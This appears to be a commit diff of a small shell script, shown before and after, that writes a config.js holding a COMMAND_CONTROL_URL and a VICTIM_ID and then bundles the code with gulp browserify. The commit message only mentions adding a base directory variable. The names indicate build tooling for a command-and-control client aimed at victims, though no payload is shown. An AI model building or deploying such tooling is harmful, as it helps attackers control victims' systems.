#!/bin/sh

REALTIMEURL=$1
VICTIMID=$2

echo "module.exports = {
    COMMAND_CONTROL_URL: '${REALTIMEURL}',
    VICTIM_ID: '${VICTIMID}'
};"  > config.js

gulp browserify

#!/bin/sh

BASEDIR=$(dirname "$0")

REALTIMEURL=$1
VICTIMID=$2

echo "module.exports = {
    COMMAND_CONTROL_URL: '${REALTIMEURL}',
    VICTIM_ID: '${VICTIMID}'
};"  > $BASEDIR/config.js

gulp browserify

Add base directory variable for consistency
Add base directory variable for consistency
